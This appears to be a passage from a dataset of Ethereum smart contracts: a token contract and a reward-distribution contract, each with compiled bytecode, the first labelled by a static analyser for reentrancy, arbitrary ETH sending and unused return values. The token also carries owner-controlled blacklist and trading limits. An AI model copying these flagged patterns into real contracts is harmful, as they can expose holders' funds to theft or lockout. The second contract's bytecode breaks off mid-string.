i < bots_.length; i++) { bots[bots_[i]] = true; } } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function maxtx(uint256 maxTxPercent) external { require(_msgSender() == _teamAddress); require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**5); emit MaxTxAmountUpdated(_maxTxAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _redisfee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } event WalletBanStatusUpdated(address user, bool banned); }
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102dd578063b515566a146102fd578063c3c8cd801461031d578063c9567bf914610332578063dd62ed3e1461034757600080fd5b806370a082311461024f578063715018a61461026f5780638da5cb5b1461028457806395d89b41146102ac57600080fd5b80632634e5e8116100d15780632634e5e8146101dc578063313ce567146101fe5780635932ead11461021a5780636fc3eaec1461023a57600080fd5b806306fdde031461010e578063095ea7b31461016657806318160ddd1461019657806323b872dd146101bc57600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152601881527f4974616368696e75207c20742e6d652f4974616368696e75000000000000000060208201525b60405161015d9190611968565b60405180910390f35b34801561017257600080fd5b506101866101813660046117ef565b61038d565b604051901515815260200161015d565b3480156101a257600080fd5b5068056bc75e2d631000005b60405190815260200161015d565b3480156101c857600080fd5b506101866101d73660046117ae565b6103a4565b3480156101e857600080fd5b506101fc6101f7366004611921565b61040d565b005b34801561020a57600080fd5b506040516009815260200161015d565b34801561022657600080fd5b506101fc6102353660046118e7565b6104dd565b34801561024657600080fd5b506101fc610525565b34801561025b57600080fd5b506101ae61026a36600461173b565b610552565b34801561027b57600080fd5b506101fc610574565b34801561029057600080fd5b506000546040516001600160a01b03909116815260200161015d565b3480156102b857600080fd5b506040805180820190915260088152674974616368696e7560c01b6020820152610150565b3480156102e957600080fd5b506101866102f83660046117ef565b6105e8565b34801561030957600080fd5b506101fc61031836600461181b565b6105f5565b34801561032957600080fd5b506101fc61068b565b34801561033e57600080fd5b506101fc6106c1565b34801561035357600080fd5b506101ae610362366004611775565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061039a338484610a84565b5060015b92915050565b60006103b1848484610ba8565b61040384336103fe85604051806060016040528060288152602001611b54602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610fba565b610a84565b5060019392505050565b600d546001600160a01b0316336001600160a01b03161461042d57600080fd5b600081116104825760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e203000000060448201526064015b60405180910390fd5b6104a2620186a061049c68056bc75e2d6310000084610ff4565b9061107a565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146105075760405162461bcd60e51b8152600401610479906119bd565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461054557600080fd5b4761054f816110bc565b50565b6001600160a01b03811660009081526002602052604081205461039e90611141565b6000546001600160a01b0316331461059e5760405162461bcd60e51b8152600401610479906119bd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061039a338484610ba8565b6000546001600160a01b0316331461061f5760405162461bcd60e51b8152600401610479906119bd565b60005b8151811015610687576001600b600084848151811061064357610643611b04565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061067f81611ad3565b915050610622565b5050565b600d546001600160a01b0316336001600160a01b0316146106ab57600080fd5b60006106b630610552565b905061054f816111be565b6000546001600160a01b031633146106eb5760405162461bcd60e51b8152600401610479906119bd565b601054600160a01b900460ff16156107455760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610479565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610782308268056bc75e2d63100000610a84565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156107bb57600080fd5b505afa1580156107cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f39190611758565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561083b57600080fd5b505afa15801561084f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108739190611758565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156108bb57600080fd5b505af11580156108cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f39190611758565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d719473061092381610552565b6000806109386000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561099b57600080fd5b505af11580156109af573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109d4919061193a565b505060108054678ac7230489e8000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a4c57600080fd5b505af1158015610a60573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106879190611904565b6001600160a01b038316610ae65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610479565b6001600160a01b038216610b475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610479565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c0c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610479565b6001600160a01b038216610c6e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610479565b60008111610cd05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610479565b6000546001600160a01b03848116911614801590610cfc57506000546001600160a01b03838116911614155b15610f5d57601054600160b81b900460ff1615610de3576001600160a01b0383163014801590610d3557506001600160a01b0382163014155b8015610d4f5750600f546001600160a01b03848116911614155b8015610d695750600f546001600160a01b03838116911614155b15610de357600f546001600160a01b0316336001600160a01b03161480610da357506010546001600160a01b0316336001600160a01b0316145b610de35760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610479565b601154811115610df257600080fd5b6001600160a01b0383166000908152600b602052604090205460ff16158015610e3457506001600160a01b0382166000908152600b602052604090205460ff16155b610e3d57600080fd5b6010546001600160a01b038481169116148015610e685750600f546001600160a01b03838116911614155b8015610e8d57506001600160a01b03821660009081526005602052604090205460ff16155b8015610ea25750601054600160b81b900460ff165b15610ef0576001600160a01b0382166000908152600c60205260409020544211610ecb57600080fd5b610ed6426078611a63565b6001600160a01b0383166000908152600c60205260409020555b6000610efb30610552565b601054909150600160a81b900460ff16158015610f2657506010546001600160a01b03858116911614155b8015610f3b5750601054600160b01b900460ff165b15610f5b57610f49816111be565b478015610f5957610f59476110bc565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff1680610f9f57506001600160a01b03831660009081526005602052604090205460ff165b15610fa8575060005b610fb484848484611347565b50505050565b60008184841115610fde5760405162461bcd60e51b81526004016104799190611968565b506000610feb8486611abc565b95945050505050565b6000826110035750600061039e565b600061100f8385611a9d565b90508261101c8583611a7b565b146110735760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610479565b9392505050565b600061107383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611373565b600d546001600160a01b03166108fc6110d683600261107a565b6040518115909202916000818181858888f193505050501580156110fe573d6000803e3d6000fd5b50600e546001600160a01b03166108fc61111983600261107a565b6040518115909202916000818181858888f19350505050158015610687573d6000803e3d6000fd5b60006007548211156111a85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610479565b60006111b26113a1565b9050611073838261107a565b6010805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061120657611206611b04565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561125a57600080fd5b505afa15801561126e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112929190611758565b816001815181106112a5576112a5611b04565b6001600160a01b039283166020918202929092010152600f546112cb9130911684610a84565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113049085906000908690309042906004016119f2565b600060405180830381600087803b15801561131e57600080fd5b505af1158015611332573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b80611354576113546113c4565b61135f8484846113e7565b80610fb457610fb460036009556002600a55565b600081836113945760405162461bcd60e51b81526004016104799190611968565b506000610feb8486611a7b565b60008060006113ae6114de565b90925090506113bd828261107a565b9250505090565b6009541580156113d45750600a54155b156113db57565b60006009819055600a55565b6000806000806000806113f987611520565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061142b908761157d565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461145a90866115bf565b6001600160a01b03891660009081526002602052604090205561147c8161161e565b6114868483611668565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114cb91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d631000006114fa828261107a565b8210156115175750506007549268056bc75e2d6310000092509050565b90939092509050565b600080600080600080600080600061153d8a600954600a5461168c565b925092509250600061154d6113a1565b905060008060006115608e8787876116db565b919e509c509a509598509396509194505050505091939550919395565b600061107383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fba565b6000806115cc8385611a63565b9050838110156110735760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610479565b60006116286113a1565b905060006116368383610ff4565b3060009081526002602052604090205490915061165390826115bf565b30600090815260026020526040902055505050565b600754611675908361157d565b60075560085461168590826115bf565b6008555050565b60008080806116a0606461049c8989610ff4565b905060006116b3606461049c8a89610ff4565b905060006116cb826116c58b8661157d565b9061157d565b9992985090965090945050505050565b60008080806116ea8886610ff4565b905060006116f88887610ff4565b905060006117068888610ff4565b90506000611718826116c5868661157d565b939b939a50919850919650505050505050565b803561173681611b30565b919050565b60006020828403121561174d57600080fd5b813561107381611b30565b60006020828403121561176a57600080fd5b815161107381611b30565b6000806040838503121561178857600080fd5b823561179381611b30565b915060208301356117a381611b30565b809150509250929050565b6000806000606084860312156117c357600080fd5b83356117ce81611b30565b925060208401356117de81611b30565b929592945050506040919091013590565b6000806040838503121561180257600080fd5b823561180d81611b30565b946020939093013593505050565b6000602080838503121561182e57600080fd5b823567ffffffffffffffff8082111561184657600080fd5b818501915085601f83011261185a57600080fd5b81358181111561186c5761186c611b1a565b8060051b604051601f19603f8301168101818110858211171561189157611891611b1a565b604052828152858101935084860182860187018a10156118b057600080fd5b600095505b838610156118da576118c68161172b565b8552600195909501949386019386016118b5565b5098975050505050505050565b6000602082840312156118f957600080fd5b813561107381611b45565b60006020828403121561191657600080fd5b815161107381611b45565b60006020828403121561193357600080fd5b5035919050565b60008060006060848603121561194f57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561199557858101830151858201604001528201611979565b818111156119a7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a425784516001600160a01b031683529383019391830191600101611a1d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a7657611a76611aee565b500190565b600082611a9857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611ab757611ab7611aee565b500290565b600082821015611ace57611ace611aee565b500390565b6000600019821415611ae757611ae7611aee565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461054f57600080fd5b801515811461054f57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201f412355c51c278ea5510ab0d1d6448340afd3a5459c927a71c13ba5483d69e064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
59
0xd9acf2e31a3c7e70c31f23b88ffa595dcd8e5977
// "SPDX-License-Identifier: MIT" pragma solidity >=0.4.22 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract GasPayDistribution is Ownable { using SafeMath for uint; IERC20 public GasPayTokenAddress; address public admin; uint public rewardPool; uint public totalSharedRewards; mapping(address => uint) private rewardsEarned; event _RewardShared( uint indexed timestamp, uint indexed rewards ); event RewardsClaimed(address indexed user, uint timestamp, uint amount); constructor(IERC20 _GasPayTokenAddress) { GasPayTokenAddress = _GasPayTokenAddress; admin = _msgSender(); } function shareReward(address[] memory _accounts, uint[] memory _rewards) public { require(_msgSender() == admin, "GasPayDistribution: Caller is not the admin"); uint _totalRewards = 0; for(uint i = 0; i < _accounts.length; i++) { address _user = _accounts[i]; require(_user != address(0), "GasPayDistribution: Zero address found in distribution list"); uint _reward = _rewards[i]; _totalRewards = _totalRewards.add(_reward); rewardsEarned[_user] = rewardsEarned[_user].add(_reward); } GasPayTokenAddress.transferFrom(_msgSender(), address(this), _totalRewards); rewardPool = rewardPool.add(_totalRewards); totalSharedRewards = totalSharedRewards.add(_totalRewards); emit _RewardShared(block.timestamp, _totalRewards); } function checkRewards(address _user) public view returns(uint) { return rewardsEarned[_user]; } function claimRewards() public { require(rewardsEarned[_msgSender()] > 0, "You have zero rewards to claim"); uint _reward = rewardsEarned[_msgSender()]; rewardsEarned[_msgSender()] = 0; rewardPool = rewardPool.sub(_reward); GasPayTokenAddress.transfer(_msgSender(), _reward); RewardsClaimed(_msgSender(), block.timestamp, _reward); } receive() external payable { revert("You can not send ether directly to the contract"); } }
0x6080604052600436106100955760003560e01c80638da5cb5b116100595780638da5cb5b146101ef5780638e01bfe714610230578063ce75058114610389578063f2fde38b146103b4578063f851a44014610405576100eb565b8063046ff0d3146100f0578063372500ab1461015557806366666aa91461016c578063715018a6146101975780637662e219146101ae576100eb565b366100eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602f815260200180610fae602f913960400191505060405180910390fd5b600080fd5b3480156100fc57600080fd5b5061013f6004803603602081101561011357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610446565b6040518082815260200191505060405180910390f35b34801561016157600080fd5b5061016a61048f565b005b34801561017857600080fd5b50610181610733565b6040518082815260200191505060405180910390f35b3480156101a357600080fd5b506101ac610739565b005b3480156101ba57600080fd5b506101c36108a6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101fb57600080fd5b506102046108cc565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561023c57600080fd5b506103876004803603604081101561025357600080fd5b810190808035906020019064010000000081111561027057600080fd5b82018360208201111561028257600080fd5b803590602001918460208302840111640100000000831117156102a457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561030457600080fd5b82018360208201111561031657600080fd5b8035906020019184602083028401116401000000008311171561033857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506108f5565b005b34801561039557600080fd5b5061039e610c7c565b6040518082815260200191505060405180910390f35b3480156103c057600080fd5b50610403600480360360208110156103d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c82565b005b34801561041157600080fd5b5061041a610e74565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006005600061049d610e9a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161054b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f596f752068617665207a65726f207265776172647320746f20636c61696d000081525060200191505060405180910390fd5b600060056000610559610e9a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600560006105a4610e9a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506105f781600354610ea290919063ffffffff16565b600381905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb610643610e9a565b836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561069757600080fd5b505af11580156106ab573d6000803e3d6000fd5b505050506040513d60208110156106c157600080fd5b8101908080519060200190929190505050506106db610e9a565b73ffffffffffffffffffffffffffffffffffffffff167fdacbdde355ba930696a362ea6738feb9f8bd52dfb3d81947558fd3217e23e3254283604051808381526020018281526020019250505060405180910390a250565b60035481565b610741610e9a565b73ffffffffffffffffffffffffffffffffffffffff1661075f6108cc565b73ffffffffffffffffffffffffffffffffffffffff16146107e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610936610e9a565b73ffffffffffffffffffffffffffffffffffffffff16146109a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602b81526020018061103e602b913960400191505060405180910390fd5b6000805b8351811015610b1e5760008482815181106109bd57fe5b60200260200101519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610a4d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180611003603b913960400191505060405180910390fd5b6000848381518110610a5b57fe5b60200260200101519050610a788185610f2590919063ffffffff16565b9350610acc81600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f2590919063ffffffff16565b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505080806001019150506109a